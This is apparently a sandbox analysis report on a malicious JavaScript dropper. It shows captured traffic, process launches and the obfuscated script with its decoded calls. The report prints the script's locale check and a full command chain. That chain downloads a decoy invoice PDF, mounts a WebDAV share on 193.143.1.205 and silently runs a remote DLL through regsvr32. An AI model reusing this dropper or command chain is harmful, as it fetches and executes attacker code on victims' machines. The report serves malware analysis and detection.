Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:35:46.515798092 CET	58734	53	192.168.2.11	1.1.1.1
Jan 11, 2025 04:35:51.251380920 CET	53	57352	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:35:46.515798092 CET	192.168.2.11	1.1.1.1	0xbedb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:35:46.522557020 CET	1.1.1.1	192.168.2.11	0xbedb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:35:47.640882969 CET	1.1.1.1	192.168.2.11	0xb6d2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:35:47.640882969 CET	1.1.1.1	192.168.2.11	0xb6d2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49723	193.143.1.205	80	6692	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:35:36.659157991 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:35:37.479373932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:35:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:35:37.479418039 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:35:37.479471922 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:35:37.479507923 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:35:37.479545116 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 04:35:37.479617119 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 04:35:37.479651928 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 04:35:37.479686022 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 04:35:37.479736090 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 04:35:37.479770899 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 04:35:37.485567093 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49738	193.143.1.205	8888	7292	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:35:38.926899910 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:35:39.730292082 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:35:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	2
Start time:	22:35:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js"
Imagebase:	0x7ff72e340000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:35:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll
Imagebase:	0x7ff6226a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:35:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:35:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:35:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:35:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6226a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:35:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff721990000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:35:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	22:35:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:35:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,5061509526471365428,15526623625031714904,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qemrn() {	qemrn() ➔ undefined
1	iplwbhew = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ucufu = this[kbzacxxr + wwcfii + gksof + zzdvz + uoimpu + jjmuhb + rfkry + hzapip] ( this[shwfshhg + yvgts + fefsd + gksof + aivggaxtl + kbzacxxr + hzapip][maajhnmni + gksof + uoimpu + wwcfii + hzapip + uoimpu + yrfhcprtw + ofvotk + szapiq + uoimpu + fefsd + hzapip] ( shwfshhg + yvgts + fefsd + gksof + aivggaxtl + kbzacxxr + hzapip + zzvnoqpp + yvgts + tlizvf + uoimpu + gnqaz + gnqaz ) [goirvd + uoimpu + twzncilm + goirvd + uoimpu + wwcfii + edrkjh] ( pwfhzk + bkvxv + vkmrd + banppyv + qqvwmutp + maajhnmni + xaifcgewr + goirvd + goirvd + vkmrd + czpjb + qbaoy + qqvwmutp + xaifcgewr + yvgts + vkmrd + goirvd + bpamkqzr + maajhnmni + yaslelwqh + rfkry + hzapip + gksof + yaslelwqh + gnqaz + wahtxj + cocphtyw + wwcfii + rfkry + uoimpu + gnqaz + bpamkqzr + jjmuhb + rfkry + hzapip + uoimpu + gksof + rfkry + wwcfii + hzapip + aivggaxtl + yaslelwqh + rfkry + wwcfii + gnqaz + bpamkqzr + pvvtixxja + yaslelwqh + fefsd + wwcfii + gnqaz + uoimpu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( eivucs = 0 ; eivucs < iplwbhew[gnqaz + uoimpu + rfkry + twzncilm + hzapip + tlizvf] ; ++ eivucs )
4	{
5	if ( ucufu == iplwbhew[eivucs] )
6	{
7	ucufu = true;
8	break ;
9	}
10	}
11	if ( ucufu !== true )
12	this[shwfshhg + yvgts + fefsd + gksof + aivggaxtl + kbzacxxr + hzapip][jymlxl + qcvuqttx + aivggaxtl + hzapip] ( );
13	this[shwfshhg + yvgts + fefsd + gksof + aivggaxtl + kbzacxxr + hzapip][maajhnmni + gksof + uoimpu + wwcfii + hzapip + uoimpu + yrfhcprtw + ofvotk + szapiq + uoimpu + fefsd + hzapip] ( shwfshhg + yvgts + fefsd + gksof + aivggaxtl + kbzacxxr + hzapip + zzvnoqpp + yvgts + tlizvf + uoimpu + gnqaz + gnqaz ) [gksof + qcvuqttx + rfkry] ( fefsd + vxayd + edrkjh + wahtxj + mutcf + fefsd + wahtxj + kbzacxxr + yaslelwqh + vxnpkzw + uoimpu + gksof + zzdvz + tlizvf + uoimpu + gnqaz + gnqaz + zzvnoqpp + uoimpu + kvibc + uoimpu + wahtxj + weifcbaq + maajhnmni + yaslelwqh + vxayd + vxayd + wwcfii + rfkry + edrkjh + wahtxj + yanoec + jjmuhb + rfkry + dpixxt + yaslelwqh + vhomtva + uoimpu + weifcbaq + shwfshhg + uoimpu + ofvotk + goirvd + uoimpu + xcbkwhs + qcvuqttx + uoimpu + zzdvz + hzapip + wahtxj + weifcbaq + yrfhcprtw + qcvuqttx + hzapip + hgerj + aivggaxtl + gnqaz + uoimpu + wahtxj + wepnm + hzapip + uoimpu + vxayd + kbzacxxr + wepnm + bpamkqzr + aivggaxtl + rfkry + dpixxt + yaslelwqh + aivggaxtl + fefsd + uoimpu + zzvnoqpp + kbzacxxr + edrkjh + jqghwqwt + wahtxj + tlizvf + hzapip + hzapip + kbzacxxr + mrefqvt + mutcf + mutcf + rgaep + pesvkkvah + jupmkem + zzvnoqpp + rgaep + ytofzzdin + jupmkem + zzvnoqpp + rgaep + zzvnoqpp + iyuibwvu + dubnqsbx + rezvzwpyb + mutcf + aivggaxtl + rfkry + dpixxt + yaslelwqh + aivggaxtl + fefsd + uoimpu + zzvnoqpp + kbzacxxr + tlizvf + kbzacxxr + yanoec + fwzvm + fwzvm + zzdvz + hzapip + wwcfii + gksof + hzapip + wahtxj + wepnm + hzapip + uoimpu + vxayd + kbzacxxr + wepnm + bpamkqzr + aivggaxtl + rfkry + dpixxt + yaslelwqh + aivggaxtl + fefsd + uoimpu + zzvnoqpp + kbzacxxr + edrkjh + jqghwqwt + fwzvm + fwzvm + fefsd + vxayd + edrkjh + wahtxj + mutcf + fefsd + wahtxj + rfkry + uoimpu + hzapip + wahtxj + qcvuqttx + zzdvz + uoimpu + wahtxj + bpamkqzr + bpamkqzr + rgaep + pesvkkvah + jupmkem + zzvnoqpp + rgaep + ytofzzdin + jupmkem + zzvnoqpp + rgaep + zzvnoqpp + iyuibwvu + dubnqsbx + rezvzwpyb + qicarpq + tsytmmqis + tsytmmqis + tsytmmqis + tsytmmqis + bpamkqzr + edrkjh + wwcfii + dpixxt + vxnpkzw + vxnpkzw + vxnpkzw + gksof + yaslelwqh + yaslelwqh + hzapip + bpamkqzr + fwzvm + fwzvm + fefsd + vxayd + edrkjh + wahtxj + mutcf + fefsd + wahtxj + gksof + uoimpu + twzncilm + zzdvz + dpixxt + gksof + jupmkem + iyuibwvu + wahtxj + mutcf + zzdvz + wahtxj + bpamkqzr + bpamkqzr + rgaep + pesvkkvah + jupmkem + zzvnoqpp + rgaep + ytofzzdin + jupmkem + zzvnoqpp + rgaep + zzvnoqpp + iyuibwvu + dubnqsbx + rezvzwpyb + qicarpq + tsytmmqis + tsytmmqis + tsytmmqis + tsytmmqis + bpamkqzr + edrkjh + wwcfii + dpixxt + vxnpkzw + vxnpkzw + vxnpkzw + gksof + yaslelwqh + yaslelwqh + hzapip + bpamkqzr + rgaep + buwdc + tsytmmqis + jupmkem + rgaep + rezvzwpyb + rgaep + tsytmmqis + pesvkkvah + iyuibwvu + rgaep + tsytmmqis + pesvkkvah + zzvnoqpp + edrkjh + gnqaz + gnqaz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll",0,false) ➔ 0
14	}
15	zzvnoqpp = "u";
16	zzvnoqpp = "f";
17	zzvnoqpp = "s";
18	zzvnoqpp = "V";
19	zzvnoqpp = "c";
20	zzvnoqpp = "o";
21	zzvnoqpp = "a";
22	zzvnoqpp = "X";
23	zzvnoqpp = "i";
24	zzvnoqpp = "O";
25	zzvnoqpp = "n";
26	zzvnoqpp = "f";
27	zzvnoqpp = "P";
28	zzvnoqpp = "a";
29	zzvnoqpp = "R";
30	zzvnoqpp = "F";
31	zzvnoqpp = "w";
32	zzvnoqpp = "f";
33	zzvnoqpp = "a";
34	zzvnoqpp = "g";
35	zzvnoqpp = "n";
36	zzvnoqpp = "D";
37	zzvnoqpp = "s";
38	zzvnoqpp = "q";
39	zzvnoqpp = "v";
40	zzvnoqpp = "A";
41	zzvnoqpp = "M";
42	zzvnoqpp = "D";
43	zzvnoqpp = "j";
44	zzvnoqpp = "a";
45	zzvnoqpp = "B";
46	zzvnoqpp = "t";
47	zzvnoqpp = ".";
48	jymlxl = "a";
49	jymlxl = "E";
50	jymlxl = "o";
51	jymlxl = "q";
52	jymlxl = "l";
53	jymlxl = "Q";
54	jymlxl = "R";
55	jymlxl = "F";
56	jymlxl = "A";
57	jymlxl = "h";
58	jymlxl = "Z";
59	jymlxl = "Z";
60	jymlxl = "b";
61	jymlxl = "c";
62	jymlxl = "n";
63	jymlxl = "D";
64	jymlxl = "F";
65	jymlxl = "w";
66	jymlxl = "w";
67	jymlxl = "I";
68	jymlxl = "j";
69	jymlxl = "n";
70	jymlxl = "W";
71	jymlxl = "W";
72	jymlxl = "V";
73	jymlxl = "r";
74	jymlxl = "o";
75	jymlxl = "R";
76	jymlxl = "C";
77	jymlxl = "V";
78	jymlxl = "s";
79	jymlxl = "K";
80	jymlxl = "o";
81	jymlxl = "F";
82	jymlxl = "Z";
83	jymlxl = "w";
84	jymlxl = "R";
85	jymlxl = "H";
86	jymlxl = "N";
87	jymlxl = "C";
88	jymlxl = "Q";
89	xcbkwhs = "a";
90	xcbkwhs = "C";
91	xcbkwhs = "Q";
92	xcbkwhs = "f";
93	xcbkwhs = "f";
94	xcbkwhs = "q";
95	ytofzzdin = "Q";
96	ytofzzdin = "s";
97	ytofzzdin = "U";
98	ytofzzdin = "4";
99	tsytmmqis = "d";
100	tsytmmqis = "W";
101	tsytmmqis = "f";
102	tsytmmqis = "O";
103	tsytmmqis = "s";
104	tsytmmqis = "D";
105	tsytmmqis = "b";
106	tsytmmqis = "a";
107	tsytmmqis = "I";
108	tsytmmqis = "q";
109	tsytmmqis = "D";
110	tsytmmqis = "8";
111	rezvzwpyb = "Z";
112	rezvzwpyb = "Z";
113	rezvzwpyb = "D";
114	rezvzwpyb = "N";
115	rezvzwpyb = "U";
116	rezvzwpyb = "w";
117	rezvzwpyb = "l";
118	rezvzwpyb = "r";
119	rezvzwpyb = "M";
120	rezvzwpyb = "b";
121	rezvzwpyb = "q";
122	rezvzwpyb = "t";
123	rezvzwpyb = "o";
124	rezvzwpyb = "b";
125	rezvzwpyb = "a";
126	rezvzwpyb = "m";
127	rezvzwpyb = "l";
128	rezvzwpyb = "g";
129	rezvzwpyb = "j";
130	rezvzwpyb = "l";
131	rezvzwpyb = "V";
132	rezvzwpyb = "b";
133	rezvzwpyb = "K";
134	rezvzwpyb = "C";
135	rezvzwpyb = "a";
136	rezvzwpyb = "t";
137	rezvzwpyb = "M";
138	rezvzwpyb = "K";
139	rezvzwpyb = "i";
140	rezvzwpyb = "U";
141	rezvzwpyb = "j";
142	rezvzwpyb = "A";
143	rezvzwpyb = "S";
144	rezvzwpyb = "J";
145	rezvzwpyb = "F";
146	rezvzwpyb = "5";
147	dubnqsbx = "r";
148	dubnqsbx = "R";
149	dubnqsbx = "t";
150	dubnqsbx = "G";
151	dubnqsbx = "H";
152	dubnqsbx = "q";
153	dubnqsbx = "a";
154	dubnqsbx = "L";
155	dubnqsbx = "H";
156	dubnqsbx = "j";
157	dubnqsbx = "p";
158	dubnqsbx = "C";
159	dubnqsbx = "x";
160	dubnqsbx = "H";
161	dubnqsbx = "C";
162	dubnqsbx = "T";
163	dubnqsbx = "h";
164	dubnqsbx = "Q";
165	dubnqsbx = "0";
166	wepnm = "I";
167	wepnm = "r";
168	wepnm = "R";
169	wepnm = "V";
170	wepnm = "L";
171	wepnm = "u";
172	wepnm = "P";
173	wepnm = "P";
174	wepnm = "A";
175	wepnm = "C";
176	wepnm = "p";
177	wepnm = "H";
178	wepnm = "H";
179	wepnm = "L";
180	wepnm = "y";
181	wepnm = "U";
182	wepnm = "p";
183	wepnm = "W";
184	wepnm = "e";
185	wepnm = "C";
186	wepnm = "t";
187	wepnm = "B";
188	wepnm = "q";
189	wepnm = "Q";
190	wepnm = "h";
191	wepnm = "l";
192	wepnm = "e";
193	wepnm = "M";
194	wepnm = "d";
195	wepnm = "N";
196	wepnm = "d";
197	wepnm = "Y";
198	wepnm = "W";
199	wepnm = "Q";
200	wepnm = "c";
201	wepnm = "c";
202	wepnm = "c";
203	wepnm = "e";
204	wepnm = "M";
205	wepnm = "m";
206	wepnm = "w";
207	wepnm = "D";
208	wepnm = "K";
209	wepnm = "%";
210	shwfshhg = "P";
211	shwfshhg = "M";
212	shwfshhg = "X";
213	shwfshhg = "O";
214	shwfshhg = "e";
215	shwfshhg = "q";
216	shwfshhg = "p";
217	shwfshhg = "n";
218	shwfshhg = "f";
219	shwfshhg = "C";
220	shwfshhg = "s";
221	shwfshhg = "k";
222	shwfshhg = "E";
223	shwfshhg = "i";
224	shwfshhg = "X";
225	shwfshhg = "O";
226	shwfshhg = "R";
227	shwfshhg = "C";
228	shwfshhg = "w";
229	shwfshhg = "x";
230	shwfshhg = "P";
231	shwfshhg = "e";
232	shwfshhg = "O";
233	shwfshhg = "y";
